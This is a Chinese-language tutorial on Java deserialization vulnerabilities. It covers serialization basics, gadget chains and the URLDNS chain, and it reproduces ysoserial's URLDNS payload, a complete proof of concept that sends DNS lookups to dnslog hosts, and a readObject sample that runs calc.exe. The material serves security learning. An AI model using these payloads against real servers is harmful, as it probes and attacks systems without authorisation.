Java安全——序列化与反序列化基础&URLDNS链
#Java
一、Java序列化与反序列化
1.1 Java序列化与反序列化概述
反序列化漏洞是java安全中最常见的漏洞之一,学习反序列化漏洞的相关知识有助于帮我们掌握更多关于java安全系统性内容。
序列化是指把内存中的对象转化为字节序列,主要用于在不同程序之间传递和存储对象。而反序列化是指把字节序列重新转化为对象。例如,weblogic通过t3协议来和其他java程序之间传输数据,数据传输的方式就是通过序列化和反序列化来实现的,这也是导致weblogic经常爆出反序列化漏洞的根本原因。
1.2 Java序列化与反序列化基础
import java.io.*;
class User implements Serializable{
private String name;
public User(String name) {
this.name = name;
}
// 方便打印查看类的信息
@Override
public String toString() {
return "User{name=" + name + '}';
}
}
public class Ser {
public static void main(String[] args) throws Exception {
User user = new User("Burger King");
String filename = "user.ser";
serialize(filename, user); // 把对象序列化保存到文件
User user1 = (User) unserialize(filename); // 从文件反序列化对象
System.out.println(user1);
}
// 序列化对象并保存到文件
public static void serialize(String filename, Object obj) throws Exception{
// 创建一个FIleOutputStream
FileOutputStream fos = new FileOutputStream(filename);
// 将这个FIleOutputStream封装到ObjectOutputStream中
ObjectOutputStream os = new ObjectOutputStream(fos);
// 调用writeObject方法,序列化对象到文件user.ser中
os.writeObject(obj);
}
// 从文件反序列化对象
public static Object unserialize(String filename) throws Exception{
// 创建一个FIleInutputStream
FileInputStream fis = new FileInputStream(filename);
// 将FileInputStream封装到ObjectInputStream中
ObjectInputStream oi = new ObjectInputStream(fis);
// 调用readObject从user.ser中反序列化出对象,还需要进行一下类型转换,默认是Object类型
return oi.readObject();
}
}
上述代码定义了一个User类用于测试序列化和反序列化的过程。首先并不是所有的类都是可以进行序列化和反序列化的,要进行序列化和反序列化则该类必须继承自java.io.Serializable接口(该类的全部属性也必须继承自Serializable接口)。
序列化和反序列化的过程都是基于字节流来完成的。序列化是通过writeObject方法来把类对象转换为字符输出流,上述demo则是把User对象转化为文件字符输出流并保存成文件;反序列化是通过readObject方法来把字符输入转化为类对象,上述demo则是通过读取文件内容转化为User对象。在序列化和反序列化的过程中有两点需要注意:
- 类对象序列化之后不一定要保存成文件,也可以通过ByteArrayOutputStream保存为字节数组。
- 反序列化之后返回的数据类型为Object类型,如果要转化为序列化之前的类,需要进行强制类型转化。
运行上面的Demo代码,会在当前项目根目录生成序列化之后保存的文件user.ser文件,通过xxd可以查看文件的16进制编码,如图所示。目前大部分的序列化之后的数据格式都是aced 0005,其中aced代表序列化协议,0005代表序列化协议版本。这个可以作为判断字符流是序列化数据的依据。![[Java安全-16.png]]
一般来说,序列化之后的数据是不允许修改的,但是可以允许在不改变字符长度的情况下对属性值进行替换,可以把“Burger King”替换为“King Burger”。
1.3 反序列化漏洞
反序列化漏洞是指在反序列化过程中自动执行类中readObject方法导致的漏洞,类似于PHP反序列化时会自动执行__wakeup方法一样。为方便演示,我们重写一下User类:
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
// 反序列化时调用,读取对象的状态
ois.defaultReadObject();
Runtime.getRuntime.exec("calc.exe");
}
通过上面的代码可以看出,如果readObject中执行了某种危险的操作,就可能导致反序列化漏洞。当然在实际环境中不可能有这么简单的情况,这里只是阐述一些原理性的东西。真实的环境下一定是一种利用链的调用关系,我们现在只是简单了解一下关于反序列化利用链。
反序列化调用链从本质来说就是构造一条从反序列化入口Source到危险方法Sink的调用链。反序列化的Source点一定是从readObject方法开始,但是Sink点却可以有很多种不同的类型。最常见的反序列化Sink是命令执行,但是也有可能是文件上传、SSRF、XXE等其他类型的Sink。
1.4 Java与PHP反序列化对比
反序列化调用链从本质来说就是构造一条从反序列化入口Source到危险方法Sink的调用链。反序列化的Source点一定是从readObject方法开始,但是Sink点却可以有很多种不同的类型。最常见的反序列化Sink是命令执行,但是也有可能是文件上传、SSRF、XXE等其他类型的Sink。
| 方法 | 功能 |
|---|---|
| readObject | 在反序列化的过程中会自动调用改方法,属于反序列化的入口Source。 |
| toString | 把对象当成字符串来操作是会自动调用该方法。 |
| hashCode | 返回该对象的hash值,集合类操作时会调用此方法。 |
| equals | 对象进行比较、排序、查找时可能可能调用此方法。 |
| finalize | 当垃圾回收器确定不存在对该对象的更多引用时,由对象的垃圾回收器调用此方法。 |
二、Java反序列化利用链
2.1 简介
我们通常把反序列化漏洞和反序列化利用链分开来看,有反序列化漏洞不一定有反序列化利用链(经常用shiro反序列化工具的人一定遇到过一种场景就是找到了key,但是找不到gadget,这也就是在这种场景下没有可利用的反序列化利用链)。如果我们向某个漏洞提交平台提交一个反序列化漏洞,但是不给反序列化利用链,那么平台大概率是不会接受这种漏洞的。
反序列化利用链是整个反序列化利用过程中最关键的一环,通常反序列化利用链需要借助常用的第三方jar包,其中最有名的就是CommonCollections利用链(简称CC链)。
2.2 环境
为了更方便初学者来学习反序列化利用链,我们首先要准备当前需要的实验环境。学习反序列化利用链最好的办法是参考ysoserial(https://github.com/frohoff/ysoserial),ysoserial是一个开源的集成化反序列化利用链工具,可以快速生成反序列化利用链payload。
我们的目的是不通过ysoserial框架,自己实现相应的反序列化利用链。我们搭建反序列化测试的基础环境,新建maven项目,添加项目依赖的jar包。
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
2.3 一些利用链
2.3.1 URLDNS利用链
URLDNS链是JAVA众多利用链中最简单的一条利用链,非常适合初学者研究学习,具有下面的特点:
- 利用链只依赖jdk本身提供的类,不依赖其他第三方类,所以具有很高的通用性,可以用于判断目标是否存在反序列化漏洞。
- 利用链本身只能执行域名解析的操作,不能执行系统命令或者其他恶意操作。
Ysoserial中关于URLDNS链的主要代码如下。这里面有一个很关键的点是使用了自定义的SilentURLStreamHandler类,为什么要使用这个自定义的类,我将在后面说明原因。
package ysoserial.payloads;
import java.io.IOException;
import java.net.InetAddress;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;
import java.net.URL;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections;
/**
* A blog post with more details about this gadget chain is at the url below:
* https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/
*
* This was inspired by Philippe Arteau @h3xstream, who wrote a blog
* posting describing how he modified the Java Commons Collections gadget
* in ysoserial to open a URL. This takes the same idea, but eliminates
* the dependency on Commons Collections and does a DNS lookup with just
* standard JDK classes.
*
* The Java URL class has an interesting property on its equals and
* hashCode methods. The URL class will, as a side effect, do a DNS lookup
* during a comparison (either equals or hashCode).
*
* As part of deserialization, HashMap calls hashCode on each key that it
* deserializes, so using a Java URL object as a serialized key allows
* it to trigger a DNS lookup.
*
* Gadget Chain:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
*
*
*/
@SuppressWarnings({ "rawtypes", "unchecked" })
@PayloadTest(skip = "true")
@Dependencies()
@Authors({ Authors.GEBL })
public class URLDNS implements ObjectPayload<Object> {
public Object getObject(final String url) throws Exception {
//Avoid DNS resolution during payload creation
//Since the field <code>java.net.URL.handler</code> is transient, it will not be part of the serialized payload.
URLStreamHandler handler = new SilentURLStreamHandler();
HashMap ht = new HashMap(); // HashMap that will contain the URL
URL u = new URL(null, url, handler); // URL to use as the Key
ht.put(u, url); //The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.
Reflections.setFieldValue(u, "hashCode", -1); // During the put above, the URL's hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.
return ht;
}
public static void main(final String[] args) throws Exception {
PayloadRunner.run(URLDNS.class, args);
}
/**
* <p>This instance of URLStreamHandler is used to avoid any DNS resolution while creating the URL instance.
* DNS resolution is used for vulnerability detection. It is important not to probe the given URL prior
* using the serialized object.</p>
*
* <b>Potential false negative:</b>
* <p>If the DNS name is resolved first from the tester computer, the targeted server might get a cache hit on the
* second resolution.</p>
*/
static class SilentURLStreamHandler extends URLStreamHandler {
protected URLConnection openConnection(URL u) throws IOException {
return null;
}
protected synchronized InetAddress getHostAddress(URL u) {
return null;
}
}
}
我们主要看一下这个利用链:
* HashMap.readObject()
* HashMap.putVal()
* HashMap.hash()
* URL.hashCode()
反序列化的入口点在 HashMap的 readObject,在这个方法中会调用本类的 hash方法。
HashMap#readObject:
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// Read in the threshold (ignored), loadfactor, and any hidden stuff
s.defaultReadObject();
reinitialize();
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new InvalidObjectException("Illegal load factor: " +
loadFactor);
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0)
throw new InvalidObjectException("Illegal mappings count: " +
mappings);
else if (mappings > 0) { // (if zero, use defaults)
// Size the table using given load factor only if within
// range of 0.25...4.0
float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
继续跟进 hash方法,这里调用了 key的 hashCode方法。key对应的值是我们传进去的一个 java.net.URL类的对象。
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
继续跟进,调用 java.net.URL类的 hashCode方法,会调用 handler字段的 hashCode方法。
URL#hashCode:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
而 handler定义来自于 URLStreamHandler类,所以会调用 URLStreamHandler类的 handler方法。
URLStreamHandler#hashCode:
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {
h += addr.hashCode();
} else {
String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
// Generate the file part.
String file = u.getFile();
if (file != null)
h += file.hashCode();
// Generate the port part.
if (u.getPort() == -1)
h += getDefaultPort();
else
h += u.getPort();
// Generate the ref part.
String ref = u.getRef();
if (ref != null)
h += ref.hashCode();
return h;
}
这里的 getHostAddress就是触发dns请求的关键点。我们再关注一下参数,回到第一步看 key,既然 key是使用 readObject取出来的,在 writeObject一定会写入 key。
java.util.HashMap#writeObject:
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
int buckets = capacity();
// Write out the threshold, loadfactor, and any hidden stuff
s.defaultWriteObject();
s.writeInt(buckets);
s.writeInt(size);
internalWriteEntries(s);
}
继续跟,java.util.HashMap#internalWriteEntries:
void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
Node<K,V>[] tab;
if (size > 0 && (tab = table) != null) {
for (int i = 0; i < tab.length; ++i) {
for (Node<K,V> e = tab[i]; e != null; e = e.next) {
s.writeObject(e.key);
s.writeObject(e.value);
}
}
}
}
不难发现,这里的 key以及 value是从 tab中取的,而 tab的值即 HashMap中 table的值。
此时我们如果想要修改 table的值,就需要调用 HashMap#put方法,而 HashMap#put方法中也会对 key调用一次 hash方法,所以在这里就会产生第一次dns查询:
HashMap#put:
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://some-urldns-platform/");
map.put(url,123); //此时会产生dns查询
}
}
如何避免这一次dns查询呢?看 URL#hashCode:
public synchronized int hashCode() {
if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
这里会先判断 hashCode是否为-1,如果不为-1则直接返回 hashCode,也就是说我们只要在put前修改URL的 hashCode为其他任意值,就可以在put时不触发dns查询。注意这里的hashCode是private修饰的,所以我们需要通过反射来修改其值。
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class Test {
public static void main(String[] args) throws Exception {
HashMap map = new HashMap();
URL url = new URL("http://urldns.4ac35f51205046ab.dnslog.cc/");
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true); //修改访问权限
f.set(url,123); //设置hashCode值为123,这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
map.put(url,123); //调用map.put 此时将不会再触发dns查询
}
}
那么完整POC就很容易了:
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;
public class URLDNS {
public static void main(String[] args) throws Exception {
String dnsurl = "http://123.i4whwa.dnslog.cn/";
HashMap urlMap = new HashMap();
URL url = new URL(dnsurl);
Field hashCodeField = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCodeField.setAccessible(true); // 修改访问权限
hashCodeField.set(url, 123); // 设置hashCode值为123,这里可以是任何不为-1的数字
System.out.println(url.hashCode()); // 获取hashCode的值,验证是否修改成功
urlMap.put(url, 123); // 调用map.put 此时将不会再触发dns查询
hashCodeField.set(url, -1); // 将url的hashCode重新设置为-1。确保在反序列化时能够成功触发
try {
FileOutputStream fileOutputStream = new FileOutputStream("./urldns.ser");
ObjectOutputStream outputStream = new ObjectOutputStream(fileOutputStream);
outputStream.writeObject(urlMap);
outputStream.close();
fileOutputStream.close();
FileInputStream fileInputStream = new FileInputStream("./urldns.ser");
ObjectInputStream inputStream = new ObjectInputStream(fileInputStream);
inputStream.readObject();
inputStream.close();
fileInputStream.close();
} catch (Exception e) {
e.printStackTrace();
}
}
}
观察ysoserial的payload,发现有一个 SilentURLStreamHandler子类,重写了 getHostAddress方法,也规避了第一次的DNS查询。而反序列化时,由于这个handler属性为 transient,不能被序列化,所以读出来的依旧是初始值。两种方法都可以,但是ysoserial的看起来比较强一点。